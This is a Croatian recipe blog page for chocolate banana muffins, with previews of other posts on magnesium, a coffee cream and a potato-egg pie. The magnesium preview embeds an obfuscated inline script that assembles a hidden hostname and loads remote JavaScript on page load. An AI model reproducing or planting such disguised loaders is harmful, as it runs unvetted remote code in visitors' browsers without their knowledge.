ČOKOLADNI BANANA MUFFINI 🍌 🍫





Čokoladni banana muffini 


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Priprema ovih muffina je jednostavna i praktična, a kombinacija banane i kakaa daje savršenu ravnotežu okusa: banane daju prirodnu slatkoću i sočnost, dok kakao dodaje bogatu, ali ne previše intenzivnu čokoladnu notu. Idealni su i u kombinaciji s jutarnjom kavom ili sezonskim voćem, čineći svaki obrok ili snack posebnim.




Čokoladni banana muffini 


Sastojci za 12 komada:

  • 190 g bijelog brašna (kao alternativu pšeničnom, možete koristiti pola zobeno, pola pirovo brašno)
  • 2 žlice gorkog kakaa u prahu
  • 1 žličica praška za pecivo
  • 1 žličica sode bikarbone
  • 1/2 žličice soli
  • 1 žličica cimeta
  • 345 g zrelih, zgnječenih banana
  • 2 žlice mlijeka
  • 2 jaja
  • 90 g šećera
  • 80 g rastopljenog kokosovog ulja
  • 1 žličica ekstrakta vanilije
  • po želji: šalica nasjeckane čokolade za kuhanje




Priprema:

  • Zagrijte pećnicu na 200 °C i pripremite kalup za muffine s papirnatim košaricama.
  • U većoj zdjeli pomiješajte suhe sastojke: brašno, kakao u prahu, prašak za pecivo, sodu bikarbonu, šećer, sol i cimet.
  • U drugoj zdjeli zgnječite zrele banane vilicom do glatke teksture. Dodajte jaja, mlijeko, kokosovo ulje i vaniliju te dobro promiješajte.
  • Spojite mokre sastojke sa suhim i miješajte tek dok se sve sjedini.
  • Po želji umiješajte komadiće čokolade ili ih pospite po vrhu svakog muffina.
  • Rasporedite smjesu u pripremljene kalupe.
  • Pecite 5 minuta na 200 °C, pa smanjite temperaturu na 175 °C i peci još 15-17 minuta, odnosno dok čačkalica zapiknuta u sredinu muffina ne izađe čista.
  • Pustite da se muffini malo ohlade prije posluživanja.


Pripremila: Ivana Matas 




Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više